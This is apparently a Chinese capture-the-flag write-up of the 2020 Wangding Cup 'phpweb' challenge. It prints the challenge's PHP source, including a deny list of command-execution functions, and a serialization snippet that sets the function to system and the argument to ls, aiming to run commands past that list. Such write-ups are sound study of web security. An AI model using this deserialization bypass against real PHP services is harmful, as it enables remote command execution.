• [网鼎杯 2020 朱雀组]phpweb


    bp抓包

     发现有参数,执行file_get_contents。可以看到index.php的源代码。

    <?php
        $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
        function gettime($func, $p) {
            $result = call_user_func($func, $p);
            $a= gettype($result);
            if ($a == "string") {
                return $result;
            } else {return "";}
        }
        class Test {
            var $p = "Y-m-d h:i:s a";
            var $func = "date";
            function __destruct() {
                if ($this->func != "") {
                    echo gettime($this->func, $this->p);
                }
            }
        }
        $func = $_REQUEST["func"];
        $p = $_REQUEST["p"];
    
        if ($func != null) {
            $func = strtolower($func);
            if (!in_array($func,$disable_fun)) {
                echo gettime($func, $p);
            }else {
                die("Hacker...");
            }
        }
        ?>

    当我看到__destruct()的时候猜测是不是反序列

    <?php
    
     class Test {
            var $p = ls;
            var $func = system;
            function __destruct() {
                if ($this->func != "") {
                    echo gettime($this->func, $this->p);
                }
            }
     }
    $a= new Test();
    echo serialize($a);
    ?>

     

     

  • 相关阅读:
    [POJ1151]Atlantis
    [POJ1177]Picture
    [POJ1765]November Rain
    Adaptively handling remote atomic execution based upon contention prediction
    Webpack 2.0 的文档
    PAT乙级 1025. 反转链表 (25)
    PAT乙级 1024. 科学计数法 (20)(未通过全部测试,得分18)
    PAT乙级 1023. 组个最小数 (20)
    PAT乙级 1022. D进制的A+B (20)
    PAT乙级 1021. 个位数统计 (15)
  • 原文地址:https://www.cnblogs.com/tac2664/p/14628295.html
Copyright © 2020-2023  润新知